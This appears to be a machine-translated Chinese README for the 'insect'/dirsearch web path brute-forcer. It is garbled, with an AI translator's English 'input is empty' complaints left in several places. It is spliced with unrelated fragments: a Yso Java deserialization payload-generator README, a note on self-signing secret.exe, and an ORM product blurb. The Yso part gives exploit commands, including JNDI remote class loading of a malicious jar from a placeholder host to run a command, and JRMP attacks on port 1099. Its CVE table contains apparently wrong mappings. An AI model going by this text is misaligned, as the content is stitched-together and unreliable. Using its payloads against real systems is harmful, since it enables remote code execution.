当前版本: v1.4 (20222.09.03)
一个高级命令行工具,用于暴力破解 Web 服务器中的目录和文件,也称为 Web 路径扫描器
想法 来自 @maurosoria 和 @shelld3v
Developement-2022 由 @nu11secur1ty 积极开发中
要求: python 3.10.5 或更高版本
选择以下安装方式之一:
git clone https://github.com/nu11secur1ty/insect.git --depth 1(推荐)docker build -t "insect:latest" .(更多信息可以在此处找到)pip3 install dirsearchsudo apt-get install dirsearch(已弃用)摘要:
%EXT% 关键字。%EXT% 的字典(如 SecLists),需要使用 -f | --force-extensions 开关来为字典中的每个单词添加扩展名,以及 /。wordlist1.txt,wordlist2.txt。示例:
将 **asp** 和 **aspx** 作为扩展名传递将生成以下字典:```
index
index.asp
index.aspx
使用 **-f**/**--force-extensions** 标志传递 **php** 和 **html** 作为扩展名,将生成以下字典:```
admin
admin.php
admin.html
admin/
将 **jsp** 和 **jspa** 作为扩展名与 **-O**/**--overwrite-extensions** 标志一起传递,将生成以下字典:```
login.html
login.jsp
login.jspa
选项 -------``` Usage: insect.py [-u|--url] target [-e|--extensions] extensions [options]
Options: --version show program's version number and exit -h, --help show this help message and exit
Mandatory:
-u URL, --url=URL Target URL(s), support multiple flags
-l PATH, --url-file=PATH
URL list file
--stdin Read URL(s) from STDIN
--cidr=CIDR Target CIDR
--raw=PATH Load raw HTTP request from file (use --scheme flag
to set the scheme)
-s SESSION_FILE, --session=SESSION_FILE
Session file
--config=PATH Full path to config file, see 'config.ini' for
example (Default: config.ini)
Dictionary Settings:
-w WORDLISTS, --wordlists=WORDLISTS
Customize wordlists (separated by commas)
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by commas (e.g. php,asp)
-f, --force-extensions
Add extensions to the end of every wordlist entry. By
default insect only replaces the %EXT% keyword with
extensions
-O, --overwrite-extensions
Overwrite other extensions in the wordlist with your
extensions (selected via -e)
--exclude-extensions=EXTENSIONS
Exclude extension list separated by commas (e.g.
asp,jsp)
--remove-extensions
Remove extensions in all paths (e.g. admin.php ->
admin)
--prefixes=PREFIXES
Add custom prefixes to all wordlist entries (separated
by commas)
--suffixes=SUFFIXES
Add custom suffixes to all wordlist entries, ignore
directories (separated by commas)
-U, --uppercase Uppercase wordlist
-L, --lowercase Lowercase wordlist
-C, --capital Capital wordlist
General Settings: -t THREADS, --threads=THREADS Number of threads -r, --recursive Brute-force recursively --deep-recursive Perform recursive scan on every directory depth (e.g. api/users -> api/) --force-recursive Do recursive brute-force for every found path, not only directories -R DEPTH, --max-recursion-depth=DEPTH Maximum recursion depth --recursion-status=CODES Valid status codes to perform recursive scan, support ranges (separated by commas) --subdirs=SUBDIRS Scan sub-directories of the given URL[s] (separated by commas) --exclude-subdirs=SUBDIRS Exclude the following subdirectories during recursive scan (separated by commas) -i CODES, --include-status=CODES Include status codes, separated by commas, support ranges (e.g. 200,300-399) -x CODES, --exclude-status=CODES Exclude status codes, separated by commas, support ranges (e.g. 301,500-599) --exclude-sizes=SIZES Exclude responses by sizes, separated by commas (e.g. 0B,4KB) --exclude-texts=TEXTS Exclude responses by texts, separated by commas (e.g. 'Not found', 'Error') --exclude-regex=REGEX Exclude responses by regex (e.g. '^Error$') --exclude-redirect=STRING Exclude responses if this regex (or text) matches redirect URL (e.g. '/index.html') --exclude-response=PATH Exclude responses similar to response of this page, path as input (e.g. 404.html) --skip-on-status=CODES Skip target whenever hit one of these status codes, separated by commas, support ranges --min-response-size=LENGTH Minimum response length --max-response-size=LENGTH Maximum response length --max-time=SECONDS Maximum runtime for the scan
Request Settings: -m METHOD, --http-method=METHOD HTTP method (default: GET) -d DATA, --data=DATA HTTP request data --data-file=PATH File contains HTTP request data -H HEADERS, --header=HEADERS HTTP request header, support multiple flags --header-file=PATH File contains HTTP request headers -F, --follow-redirects Follow HTTP redirects --random-agent Choose a random User-Agent for each request --auth=CREDENTIAL Authentication credential (e.g. user:password or bearer token) --auth-type=TYPE Authentication type (basic, digest, bearer, ntlm, jwt, oauth2) --cert-file=PATH File contains client-side certificate --key-file=PATH File contains client-side certificate private key (unencrypted) --user-agent=USERAGENT --cookie=COOKIE
Connection Settings: --timeout=TIMEOUT Connection timeout --delay=DELAY Delay between requests --proxy=PROXY Proxy URL, support HTTP and SOCKS proxies (e.g. localhost:8080, socks5://localhost:8088) --proxy-file=PATH File contains proxy servers --proxy-auth=CREDENTIAL Proxy authentication credential --replay-proxy=PROXY Proxy to replay with found paths --tor Use Tor network as proxy --scheme=SCHEME Scheme for raw request or if there is no scheme in the URL (Default: auto-detect) --max-rate=RATE Max requests per second --retries=RETRIES Number of retries for failed requests --ip=IP Server IP address --exit-on-error Exit whenever an error occurs
Advanced Settings: --crawl Crawl for new paths in responses
View Settings: --full-url Full URLs in the output (enabled automatically in quiet mode) --redirects-history Show redirects history --no-color No colored output -q, --quiet-mode Quiet mode
Output Settings: -o PATH, --output=PATH Output file --format=FORMAT Report format (Available: simple, plain, json, xml, md, csv, html, sqlite) --log=PATH Log file
配置
---------------
dirsearch 和 insect 标志的默认值可在配置文件中编辑,默认情况下为 `config.ini`,但你可以使用 `--config` 标志选择另一个文件。```ini
# If you want to edit dirsearch or insect default configurations, you can
# edit values in this file. Everything after `#` is a comment
# and won't be applied
[general]
threads = 25
recursive = False
deep-recursive = False
force-recursive = False
recursion-status = 200-399,401,403
max-recursion-depth = 0
exclude-subdirs = %%ff/,.;/,..;/,;/,./,../,%%2e/,%%2e%%2e/
random-user-agents = False
max-time = 0
# subdirs = /,api/
# include-status = 200-299,401
# exclude-status = 400,500-999
# exclude-sizes = 0b,123gb
# exclude-texts = "Not found"
# exclude-regex = "^403$"
# exclude-redirect = "*/error.html"
# exclude-response = 404.html
# skip-on-status = 429,999
[dictionary]
default-extensions = php,aspx,jsp,html,js
force-extensions = False
overwrite-extensions = False
lowercase = False
uppercase = False
capitalization = False
# exclude-extensions = old,log
# prefixes = .,admin
# suffixes = ~,.bak
# wordlists = /path/to/wordlist1.txt,/path/to/wordlist2.txt
[request]
httpmethod = get
follow-redirects = False
# headers-file = /path/to/headers.txt
# user-agent = MyUserAgent
# cookie = SESSIONID=123
[connection]
timeout = 7.5
delay = 0
max-rate = 0
max-retries = 1
exit-on-error = False
## By disabling `scheme` variable, insect will automatically identify the URI scheme
# scheme = http
# proxy = localhost:8080
# proxy-file = /path/to/proxies.txt
# replay-proxy = localhost:8000
[advanced]
crawl = False
[view]
full-url = False
quiet-mode = False
color = True
show-redirects-history = False
[output]
## Support: plain, simple, json, xml, md, csv, html, sqlite
report-format = plain
autosave-report = True
# log-file = /path/to/insect.log
# report-output-folder = /path/to/reports

下面是一些使用 dirsearch 和 insect 的示例——这些是最常见的参数。如果需要全部,只需使用 -h 参数。
python3 insect.py -u https://target
I notice that the input content for chunk 19 is empty — no Markdown text was provided after "INPUT:". Please provide the actual chunk content so I can translate it.```
python3 insect.py -e php,html,js -u https://target
I don't see any content to translate in the input section. Please provide chunk 21 of 91 so I can translate it.``` python3 insect.py -e php,html,js -u https://target -w /path/to/wordlist
---
### 暂停进度
dirsearch 和 insect 允许你通过 CTRL+C 暂停扫描进度,在此之后,你可以保存进度(之后继续)、跳过当前目标,或跳过当前子目录。
<img src="https://assets.kitploit.com/production/public/readmes/42137/d4cf979db78841d0c0f16abb177e5084211820c23e8adaf587f0bb3faf0e25b4.png" alt="暂停 insect" width="475px">
----
### 递归
- 递归暴力破解是对已发现目录之后的路径持续进行暴力破解。例如,如果 insect 找到 `admin/`,它将对 `admin/*` 进行暴力破解(`*` 是暴力破解的位置)。要启用此功能,请使用 **-r**(或 **--recursive**)标志```
python3 insect.py -e php,html,js -u https://target -r
- 还有 2 个选项:**--force-recursive** 和 **--deep-recursive**
- **强制递归**:暴力递归所有发现的路径,而不仅是那些以 `/` 结尾的路径
- **深度递归**:递归暴力破解一个路径的所有深度(`a/b/c` => 添加 `a/`、`a/b/`)
- 如果有不希望递归暴力破解的子目录,请使用 `--exclude-subdirs````
python3 insect.py -e php,html,js -u https://target -r --exclude-subdirs image/,media/,css/
线程数(-t | --threads)反映分离的暴力破解进程的数量。因此,线程数越大,dirsearch 或 insect 运行得越快。默认情况下,线程数为 25,但如果您想加快进度,可以增加它。
尽管如此,速度仍然很大程度上取决于服务器的响应时间。作为警告,我们建议您不要将线程数设置得太大,因为它可能导致 DoS(拒绝服务攻击)。``` python3 insect.py -e php,htm,js,bak,zip,tgz,txt -u https://target -t 20
### 前缀 / 后缀
- **--prefixes**: 为所有条目添加自定义前缀```
python3 insect.py -e php -u https://target --prefixes .,admin,_
单词列表:``` tools
使用前缀生成:```
tools
.tools
admintools
_tools
字典:```
index.php
internal
使用后缀生成:``` index.php internal index.php~ internal~
### Blacklist
在 `db/` 文件夹内,有几个“黑名单文件”。如果这些文件中的路径具有与文件名中所述相同的状态,它们将从扫描结果中被过滤。
示例:如果你将 `admin.php` 添加到 `db/403_blacklist.txt` 中,那么每当你进行扫描时,只要 `admin.php` 返回 403,它就会被从结果中过滤。
----
### Filters
使用 **-i | --include-status** 和 **-x | --exclude-status** 来选择允许和不允许的响应状态码
更多高级过滤器:**--exclude-sizes**、**--exclude-texts**、**--exclude-regexps**、**--exclude-redirects** 和 **--exclude-response**```
python3 insect.py -e php,html,js -u https://target --exclude-sizes 1B,243KB
I need to translate the content, but the input appears to be empty—no actual Markdown content was provided after "INPUT:". Since there is no text to translate, I cannot produce a translation. Please provide the actual chunk content.``` python3 insect.py -e php,html,js -u https://target --exclude-texts "403 Forbidden"
I don't see any content in the input to translate. The chunk appears to be empty. Please provide the text you'd like translated.```
python3 insect.py -e php,html,js -u https://target --exclude-regexps "^Error$"
此代码段创建了一个初级代码签名证书,用它签署 secret.exe 并执行该文件。生成的证书使用了最弱的加密组合。PowerShell 的 Set-AuthenticodeSignature 默认应用 SHA1 哈希算法(除非被覆盖)。通过使用最弱的哈希算法,该工具还能确保它能在可能不支持更好哈希算法的旧系统上运行。```
python3 insect.py -e php,html,js -u https://target --exclude-redirects "https://(.).okta.com/"
## Yso
Yso 是一款用于构造 Java 反序列化 payload 的复杂工具,支持多版本 JDK、多种利用技术以及多种输出格式等丰富特性,旨在为安全研究人员提供全面灵活的 payload 生成方案。
## ✨ 功能特点
- **多版本 JDK 支持**:涵盖 JDK 8u202、JDK 11.0.1 和 JDK 17.0.1
- **多种利用链**:支持 URLDNS、CommonsCollections、Jdk7u21 等多种利用链
- **多样输出格式**:支持十六进制、Base64 编码以及 jar、class、dylib、jsp/jspx 等格式
- **JNDI 注入**:集成 JNDI 远程类加载功能
- **可定制化**:灵活的参数配置,满足不同场景需求
- **跨平台**:支持 Windows、Linux 和 macOS
### 从源代码构建(推荐)
```bash
git clone https://github.com/qi4L/Yso.git
cd Yso
mvn clean package -DskipTests
如果 Maven 中央仓库访问有问题,请自行配置 Maven 代理。
从 Releases 页面 下载最新版本。
wget https://github.com/qi4L/Yso/releases/download/0.0.1/yso-0.0.1.jar
docker pull ghcr.io/qi4l/yso:latest
$ java -jar yso.jar -h
usage: java -jar yso.jar [payload] <param>
Available payloads:
URLDNS
CommonsCollections1
CommonsCollections2
CommonsCollections3
CommonsCollections4
CommonsCollections5
CommonsCollections6
CommonsCollections7
CommonsCollections8
CommonsCollections9
CommonsCollections10
CommonsCollections11
CommonsCollectionsK1
CommonsCollectionsK2
CommonsCollectionsK3
CommonsCollectionsK4
CommonsBeanutils1
CommonsBeanutils2
Jdk7u21
Jdk8u20
C3P0
BeanShell1
JSON1
Fastjson1
Fastjson2
Spring1
Spring2
Hibernate1
Myfaces1
Myfaces2
JBossInterceptors1
JRMPClient
JRMPListener
RMIConnect
RMIServer
# Generate a URLDNS payload
java -jar yso.jar URLDNS http://xxxx.ceye.io
# Generate a CommonsCollections1 payload with command execution
java -jar yso.jar CommonsCollections1 "calc"
# Generate a JRMPListener payload
java -jar yso.jar JRMPListener 1099
提示 默认输出格式为 base64。可以通过
-P参数指定输出格式,例如-P jar以 JAR 格式输出 payload。
支持以下利用链:
注意 不同 JDK 版本下的利用链可用性可能有所差异,建议根据目标环境选择合适的 JDK 版本。
Yso 支持多种输出格式:
注意 使用
-P参数指定输出格式,例如-P hex以十六进制格式输出 payload。
Yso 集成了 JNDI 远程类加载功能,可以通过 -g 参数指定 payload 类型,并通过 -u 参数指定恶意类的远程地址。例如:
java -jar yso.jar -g jndi -u http://xxxx.ceye.io/ExportObject.jar CommonsCollections1 "calc"
注意 在使用 JNDI 集成功能时,需要确保目标环境允许远程类加载,并且恶意类所在的 HTTP 服务器可访问。
JMX(Java Management Extensions)服务通常暴露在 1099 端口,可以通过 JRMPClient 进行攻击:
java -jar yso.jar JRMPClient <target-ip>:1099
Java RMI(Remote Method Invocation)服务通常暴露在 1099 端口,可以通过 JRMPListener 进行攻击:
java -jar yso.jar JRMPListener 1099
JNDI 注入是一种常见的攻击方式,可以通过 -g jndi 参数指定 payload 类型:
java -jar yso.jar -g jndi -u http://xxxx.ceye.io/ExportObject.jar CommonsCollections1 "calc"
本项目参考并借鉴了以下优秀的开源项目:
本工具仅用于安全研究和授权测试目的。使用者有责任遵守所有适用的法律法规。开发者不对任何滥用本工具的行为负责。``` python3 insect.py -e php,html,js -u https://target --exclude-response /error.html
### 原始请求
dirsearch 或 insect 允许你从文件导入原始请求。内容大致如下所示:```http
GET /admin HTTP/1.1
Host: admin.example.com
Cache-Control: max-age=0
Accept: */*
由于 dirsearch 或 insect 无法获知 URI scheme,你需要使用 --scheme 标志进行设置。默认情况下,dirsearch 和 insect 会自动检测 scheme。
支持的字典格式:大写、小写、首字母大写
admin index.html
#### 大写:```
ADMIN
INDEX.HTML
Admin Index.html
### 排除扩展名
使用 **-X | --exclude-extensions** 并提供扩展名列表,将移除单词列表中包含指定扩展名的所有路径
`python3 insect.py -u https://target -X jsp`
单词列表:```
admin.php
test.jsp
No input content was provided to translate. Please supply the actual Markdown text for chunk 63/91, and I will translate it into Chinese following the specified rules.``` admin.php
### 扫描子目录
- 通过一个 URL,您可以使用 **--subdirs** 扫描子目录列表。```
python3 insect.py -e php,html,js -u https://target --subdirs /,admin/,folder/
dirsearch 和 insect 支持 SOCKS 和 HTTP 代理,有两个选项:单个代理服务器或代理服务器列表。``` python3 insect.py -e php,html,js -u https://target --proxy 127.0.0.1:8080
IAB v3```
python3 insect.py -e php,html,js -u https://target --proxy socks5://10.10.0.1:8080
---``` python3 insect.py -e php,html,js -u https://target --proxylist proxyservers.txt
### 报告
支持的报告格式:**simple**, **plain**, **json**, **xml**, **md**, **csv**, **html**, **sqlite**```
python3 insect.py -e php -l URLs.txt --format plain -o report.txt
| 检测并发问题 | 应用级与数据库级 | 悲观锁与乐观锁 | | 反模式识别 | N+1 查询检测 | 过度抓取与获取不足模式 | | 查询分析 | 微秒级可视化 | 永久查询与 N+1 查询统计分析 | | 模式管理 | 模式差异与演进 | 索引顾问 |
Drizzle ORM 与 Prisma 相结合,在运行时提供了类型安全、高性能以及出色的开发体验,但数据库模式本身呢?手动编写和管理 SQL 迁移、丢失模式历史、无法检测低效查询、遗漏并发缺陷,或在生产环境模式变更中苦苦挣扎,往往会导致严重的故障。
sqlarches 正是为解决这些挑战而构建的。它借助智能 CLI 代理,自动执行模式管理,可视化查询模式,并通过 AI 辅助工作流提升开发效率——弥合了运行时 ORM 功能与数据库模式可靠性之间的差距。
安装 Docker```sh curl -fsSL https://get.docker.com | bash
> 使用 docker 需要超级用户权限
### 在 insect 上构建 dirsearch 镜像
创建镜像```sh
docker build -t "dirsearch:v0.4.2" .
docker build -t "insect:latest" .
dirsearch 是镜像的名称,v0.4.2 是版本
insect 是镜像的名称,latest 是版本
要使用```sh docker run -it --rm "insect:latest" -u target -e php,html,js,zip
参考资料
---------------
- [Dirsearch 全面指南](https://www.hackingarticles.in/comprehensive-guide-on-dirsearch/) 作者:Shubham Sharma
- [Dirsearch 全面指南第 2 部分](https://www.hackingarticles.in/comprehensive-guide-on-dirsearch-part-2/) 作者:Shubham Sharma
- [如何使用 Dirsearch 查找隐藏的 Web 目录](https://www.geeksforgeeks.org/how-to-find-hidden-web-directories-with-dirsearch/) 作者:GeeksforGeeks
- [DIRSEARCH 使用完整指南](https://esgeeks.com/guia-completa-uso-dirsearch/?feed_id=5703&_unique_id=6076249cc271f) 作者:ESGEEKS
- [如何使用 Dirsearch 检测 Web 目录](https://www.ehacking.net/2020/01/how-to-find-hidden-web-directories-using-dirsearch.html) 作者:EHacking
- [dirsearch 使用教程](https://vk9-sec.com/dirsearch-how-to/) 作者:VK9 Security
- [使用 Dirsearch 查找隐藏的 Web 目录](https://null-byte.wonderhowto.com/how-to/find-hidden-web-directories-with-dirsearch-0201615/) 作者:Wonder How To
- [使用 dirsearch 对 Web 服务器中的目录和文件进行暴力破解](https://upadhyayraj.medium.com/brute-force-directories-and-files-in-webservers-using-dirsearch-613e4a7fa8d5) 作者:Raj Upadhyay
- [Yahoo 上的实时漏洞赏金侦察会话(Amass、crts.sh、dirsearch)与 @TheDawgyg 一起](https://www.youtube.com/watch?v=u4dUnJ1U0T4) 作者:Nahamsec
- [使用 Dirsearch 查找隐藏的 Web 目录](https://medium.com/@irfaanshakeel/dirsearch-to-find-hidden-web-directories-d0357fbe47b0) 作者:Irfan Shakeel
- [获取 25000 名员工的详细信息](https://medium.com/@ehsahil/getting-access-to-25k-employees-details-c085d18b73f0) 作者:Sahil Ahamad
- [目录暴力破解最佳工具](https://secnhack.in/multiple-ways-to-find-hidden-directory-on-web-server/) 作者:Shubham Goyal
- [在 Web 服务器上发现隐藏文件和目录 - dirsearch 完整教程](https://www.youtube.com/watch?v=jVxs5at0gxg) 作者:CYBER BYTES
- [使用 insect- 示例查找防护较弱的目录。](https://www.nu11secur1ty.com/2022/09/wordpress-all-in-one-wp-migration-764.html) 作者:nu11secur1ty
提示
---------------
- 服务器有请求限制?这很糟糕,但可以随意绕过它,通过 `--proxy-list` 随机化代理
- 想找出配置文件或备份?试试 `--suffixes ~` 和 `--prefixes .`
- 只想查找文件夹/目录?为什么不结合使用 `--remove-extensions` 和 `--suffixes /` 呢!
- 结合使用 `--cidr`、`-F`、`-q` 可以在对 CIDR 进行暴力破解时减少大部分噪音和误报
- 扫描 URL 列表,但不想看到 429 洪水?`--skip-on-status 429` 可帮助你在目标返回 429 时跳过该目标
- 服务器包含会拖慢扫描的大文件?你*可能*想使用 `HEAD` HTTP 方法而不是 `GET`
- CIDR 暴力破解很慢?可能你忘了减少请求超时和请求重试次数。建议:`--timeout 3 --retries 1`
对原始来源的贡献
---------------
我们一直收到来自世界各地许多人的帮助来改进这个工具。非常感谢到目前为止帮助过我们的每一个人!
请参阅 [CONTRIBUTORS.md](https://github.com/maurosoria/dirsearch/blob/master/CONTRIBUTORS.md) 了解他们是谁。
#### 欢迎提交拉取请求和功能请求
许可证
---------------
Copyright (C) Mauro Soria ([email protected])
Development for 2022 (C) nu11secur1ty (https://nu11secur1ty.com/)
许可证:GNU General Public License, version 2
| 选项 | 描述 |
|---|
-g | 指定 payload 的类型,目前支持两种类型:jndi 和 jar |
-u | 与 -g 配合使用,指定加载恶意类的远程地址 |
-P | 指定 payload 的输出格式,支持以下格式:hex、base64、class、jar、jsp、jspx、dylib、binary |
-p | 指定攻击端的端口 |
-U | 指定本地访问的端口 |
-i | 指定本地 IP 地址 |
| 利用链名称 | CVE/描述 | JDK 版本 | 依赖项 |
|---|
| URLDNS | JDK 内置类,适合验证反序列化漏洞 | JDK8u202 | 无 |
| CommonsCollections1-11 | CVE-2015-4852 | JDK8u202 | commons-collections 3.1 |
| CommonsCollectionsK1-K4 | CommonsCollections 变种 | JDK8u202 | commons-collections 3.1/4.0 |
| CommonsBeanutils1-2 | 无 CVE 编号 | JDK8u202 | commons-beanutils |
| Jdk7u21 | CVE-2013-2465 | JDK7u21 | 无 |
| Jdk8u20 | CVE-2014-6577 | JDK8u20 | 无 |
| C3P0 | CVE-2014-3566 | JDK8u202 | c3p0 |
| BeanShell1 | 无 CVE 编号 | JDK8u202 | bsh |
| JSON1 | 无 CVE 编号 | JDK8u202 | json |
| Fastjson1-2 | CVE-2017-18349 | JDK8u202 | fastjson |
| Spring1-2 | CVE-2011-2894 | JDK8u202 | spring-core |
| Hibernate1 | CVE-2013-0156 | JDK8u202 | hibernate |
| Myfaces1-2 | CVE-2013-2172 | JDK8u202 | myfaces |
| JBossInterceptors1 | CVE-2012-0874 | JDK8u202 | jboss-interceptors |
| JRMPClient | 无 CVE 编号 | JDK8u202 | 无 |
| JRMPListener | 无 CVE 编号 | JDK8u202 | 无 |
| RMIConnect | 无 CVE 编号 | JDK8u202 | 无 |
| RMIServer | 无 CVE 编号 | JDK8u202 | 无 |
| JDK版本 | 操作系统 | 架构 |
|---|
| JDK8u202 | Windows | x86-64 |
| JDK8u202 | Linux | x86-64 |
| JDK11.0.1 | Windows | x86-64 |
| JDK17.0.1 | Windows | x86-64 |
| JDK11.0.1 | Linux | x86-64 |
| JDK17.0.1 | Linux | x86-64 |